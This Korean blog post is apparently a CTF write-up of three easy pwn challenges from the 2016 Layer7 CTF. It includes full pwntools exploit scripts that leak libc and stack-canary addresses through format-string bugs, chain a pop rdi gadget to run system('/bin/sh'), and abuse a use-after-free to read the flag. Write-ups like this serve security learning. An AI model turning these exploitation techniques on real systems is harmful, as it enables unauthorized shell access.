2016 layer7 ctf easy_(bof, fsb, uaf)
by St1tch이거 대회끝난지 한 2주됬는데 갑자기 생각나서 올린다.
다른팀원들이 미리 풀어논게 있어서 1등이였는데 새벽에 다른팀들이 올라왔다.
나는 대회를 밤늦게 시작해서 팀원들이 풀지 않은 easy 3종 셋트를 풀었다.
2등이라도 유지해서 다행이였다.
easy_fsb를 처음에 풀었는데 libc가 주어진질 모르고 조금씩조금씩 libc를 긁어서 모으고 있었다.
그러다가 공지사항을 보니 낮에 libc를 올려놨었다.......
그래서 바로 다시 오프셋을 적어서 풀었다.
그냥 전형적인 fsb문제였다.
from pwn import * import stitch s = remote('prob.layer7.kr', 10002) p = log.progress('Exploiting!') if __name__ == '__main__' : for i in range(5) : s.sendline('%p') s.recvuntil('\n') p.status(str(i+1)) sleep(0.1) p.status('libc leak') pay = '%75$p' s.sendline(pay) main_ret = s.recvuntil('\n').strip()[3:] offset = int(main_ret, 16) - 0x18637 system = offset + 0x3a920 binsh = offset + 0x15909f p.status('stack addr leak') pay = '%73$p' s.sendline(pay) stack = s.recvuntil('\n').strip() ret_addr = int(stack, 16) - 20 p.status('overwrite ecx') sleep(1) pay = stitch.fsb(7, {ret_addr-8 : ret_addr+4}, 0) s.sendline(pay) p.status('overwrite sysetm') sleep(1) pay = stitch.fsb(7, {ret_addr : system}, 0) s.sendline(pay) p.status('overwrite binsh') sleep(1) pay = stitch.fsb(7, {ret_addr+8 : binsh}, 0) s.sendline(pay) s.interactive()

easy_bof는 fsb취약점을 통해 canary랑 main_ret를 알아낸 후 바로 main함수가 종료가 된 후, system('/bin/sh')가 실행되도록 했다.
다만 64bit라서 pop rdi가젯만 추가하였다.
from pwn import * local = False if local : s = remote('localhost', 9980) raw_input() else : s = remote('prob.layer7.kr', 10003) def main() : sleep(1) s.sendline('-1') sleep(1) pay = '%43$p,%45$p' s.sendline(pay) canary, main_ret = s.recv(1048).split(',') offset = int(main_ret, 16) - 0x20830 system = offset + 0x45380 binsh = offset + 0x18c58b poprdi = offset + 0x21102 pay = 'A' * 264 pay += p64(int(canary, 16)) pay += 'A' * 8 pay += p64(poprdi) pay += p64(binsh) pay += p64(system) sleep(1) s.sendline(pay) sleep(1) s.interactive() if __name__ == '__main__' : main()
이건 스샷찍어논게없네
easy_uaf문제는 문제를 만든사람의 의도인지는 모르겠는데 실행이 되지않았다.
근데 uaf라는 것을 알고있기 때문에 ida에서 대충 취약점을 보니 flag가 저장되있는 앞부분의 문자열주소를 한번 free해주면 다시 write를 할 수 있다.
이 때 flag앞까지 0x00이 없게 채워주게 되면 read했을 때 flag까지 같이 읽어 지게된다.
디버깅이 안되서 그냥 ida만 보고 문제를 풀었다.
from pwn import * s = remote('prob.layer7.kr', 10007) if __name__ == '__main__': p = log.progress('Exploiting!') p.status('free heap') s.recvuntil('>') s.sendline('3') s.recvuntil('>') s.sendline('2') p.status('use heap') s.recvuntil('>') s.sendline('2') s.recvuntil('>') s.sendline('2') sleep(1) s.sendline('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') p.status('read flag') s.recvuntil('>') s.sendline('4') s.recvuntil('>') s.sendline('2') s.interactive()

블로그의 정보
튜기's blogg(st1tch)
St1tch